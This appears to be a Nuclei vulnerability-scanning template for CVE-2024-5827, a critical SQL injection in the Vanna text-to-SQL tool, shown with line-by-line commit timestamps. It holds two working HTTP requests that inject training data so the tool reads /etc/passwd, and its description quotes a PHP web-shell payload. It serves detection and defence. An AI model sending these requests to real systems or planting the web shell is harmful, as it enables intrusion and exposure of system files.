2024-07-31 12:10:02 +00:00
id : CVE-2024-5827
2024-08-01 11:42:20 +00:00
2024-07-31 12:10:02 +00:00
info :
2024-08-01 11:42:20 +00:00
name : Vanna - SQL injection
2024-08-27 02:32:18 +00:00
author : olfloralo,nukunga,harksu,nechyo,gy741
2024-08-27 02:45:35 +00:00
severity : critical
2024-08-01 11:42:20 +00:00
description : |
Vanna v0.3.4 is vulnerable to SQL injection in its DuckDB integration exposed to its Flask Web APIs. Attackers can inject malicious SQL training data and generate corresponding queries to write arbitrary files on the victim's file system, such as backdoor.php with contents `<?php system($_GET[0]); ?>`. This can lead to command execution or the creation of backdoors.
2024-08-27 02:32:18 +00:00
reference :
- https://huntr.com/bounties/a3f913d6-c717-4528-b974-26d8d9e839ca
- https://nvd.nist.gov/vuln/detail/CVE-2024-5827
2024-08-27 02:45:35 +00:00
- https://huntr.com/bounties/e4e64a51-618b-41d0-8f56-1d2146d8825e
- https://github.com/fkie-cad/nvd-json-data-feeds
classification :
cvss-metrics : CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
cve-id : CVE-2024-5827
cwe-id : CWE-434
epss-score : 0.00043
epss-percentile : 0.09524
2024-08-27 02:32:18 +00:00
metadata :
2024-08-27 02:45:35 +00:00
verified : true
2024-08-27 02:32:18 +00:00
max-request : 2
fofa-query : body='vanna.ai'
2024-08-01 11:42:20 +00:00
tags : cve,cve2024,vanna,sqli
2024-07-31 12:10:02 +00:00
2024-08-27 02:32:18 +00:00
flow : http(1) && http(2)
2024-08-01 11:42:20 +00:00
http :
2024-07-31 12:10:02 +00:00
- raw :
- |
2024-08-27 02:32:18 +00:00
POST /api/v0/train HTTP/1.1
2024-07-31 12:10:02 +00:00
Host : {{Hostname}}
Content-Type : application/json
2024-08-27 02:32:18 +00:00
{"sql" : "SELECT pg_read_file('/etc/passwd', 0, 1000);" }
matchers :
- type : word
words :
- 'id":'
internal : true
- raw :
- |
GET /api/v0/generate_sql?question=What%20is%20the%20content%20of%20the%20first%201000%20characters%20of%20the%20%2Fetc%2Fpasswd%20file? HTTP/1.1
Host : {{Hostname}}
2024-07-31 12:10:02 +00:00
2024-08-01 11:42:20 +00:00
matchers-condition : and
2024-07-31 12:10:02 +00:00
matchers :
2024-08-01 11:42:20 +00:00
- type : regex
2024-08-27 02:45:35 +00:00
part : body
2024-08-01 11:42:20 +00:00
regex :
- "root:.*:0:0:"
2024-07-31 12:10:02 +00:00
- type : status
status :
- 200
2024-08-01 11:42:20 +00:00
- type : word
part : header
words :
- 'application/json'
2024-08-27 05:45:54 +00:00
# digest: 4b0a0048304602210093740affc4c9c3ea0030913d9c4c8802827341e231bdf5ee94a5e7da27ad2d32022100b100c84672ff47b8e2b2a407027df4880147e2a846c9a92947b1e1415e2cd870:922c64590222798bb761d5b6d8e72950